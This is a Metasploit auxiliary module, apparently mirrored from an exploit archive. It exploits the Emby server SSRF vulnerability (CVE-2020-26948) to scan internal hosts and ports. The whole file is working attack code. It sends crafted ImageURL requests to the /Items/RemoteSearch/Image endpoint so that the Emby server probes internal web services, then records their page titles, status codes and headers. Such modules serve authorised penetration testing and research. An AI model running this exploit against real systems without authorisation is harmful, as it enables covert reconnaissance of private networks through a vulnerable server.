## https://sploitus.com/exploit?id=PACKETSTORM:181072
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Emby SSRF HTTP Scanner',
'Description' => 'Generates a `GET` request to the provided web servers and executes an SSRF against
the targeted EMBY server. Returns the server header, HTML title attribute and
location header (if set). This is useful for rapidly identifying web applications
on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).',
'Author' => 'Btnz',
'License' => MSF_LICENSE,
'Disclosure Date' => '2020-10-01',
'Notes' => {
'Stability' => [],
'SideEffects' => [],
'Reliability' => [],
'RelatedModules' => ['auxiliary/scanner/http/emby_version_ssrf']
},
'References' => [
['CVE', '2020-26948'],
['URL', 'https://github.com/btnz-k/emby_ssrf']
]
)
deregister_options('VHOST', 'RPORT', 'SNAPLEN', 'SSL')
register_options(
[
OptString.new('TARGETURI', [false, 'The URI of the Emby Server', '/']),
OptBool.new('STORE_NOTES', [true, 'Store the information in notes.', true]),
OptBool.new('SHOW_TITLES', [true, 'Show the titles on the console as they are grabbed', true]),
OptString.new('EMBY_SERVER', [true, 'Emby Web UI IP to use', '']),
OptInt.new('EMBY_PORT', [true, 'Web UI port for Emby Server', '8096']),
OptString.new('PORTS', [true, 'Ports to scan', '80,8080,8081,8888'])
]
)
end
def run_host(target_host)
# Do some checking to ensure data is submitted
# Also converts ports string to list
dports = Rex::Socket.portspec_crack(datastore['PORTS'])
raise Msf::OptionValidateError, ['PORTS'] if dports.empty?
# loop through the ports
dports.each do |p|
vprint_status("Attempting SSRF with target #{target_host}:#{p}")
uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"
# not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])
# Check for Response
if res.nil?
vprint_error("http://#{target_host}:#{p} - No response")
next
end
# Retrieve the headers to capture the Location and Server header
server_header = res['server']
location_header = res['location']
# Check to see if the captured headers are populated
if server_header.nil? && location_header.nil?
vprint_error("#{target_host}:#{p} No HTTP headers")
end
# If the body is blank, just stop now as there is no chance of a title
vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?
# Very basic, just match the first title tag we come to. If the match fails,
# there is no chance that we will have a title
rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
unless rx
vprint_error("#{target_host}:#{p} No webpage title")
next
end
# Last bit of logic to capture the title
rx[:title].strip!
if rx[:title].empty?
vprint_error("#{target_host}:#{p} No webpage title")
next
end
rx_title = Rex::Text.html_decode(rx[:title])
if datastore['SHOW_TITLES']
print_good("#{target_host}:#{p} Title: #{rx_title}")
print_good("#{target_host}:#{p} HTTP Code: #{res.code}")
print_good("#{target_host}:#{p} Location Header: #{location_header}")
print_good("#{target_host}:#{p} Server Header: #{server_header}")
end
if datastore['STORE_NOTES']
notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }
report_note(host: target_host, port: p, type: 'http.title', data: notedata, update: :unique_data)
end
end
end
end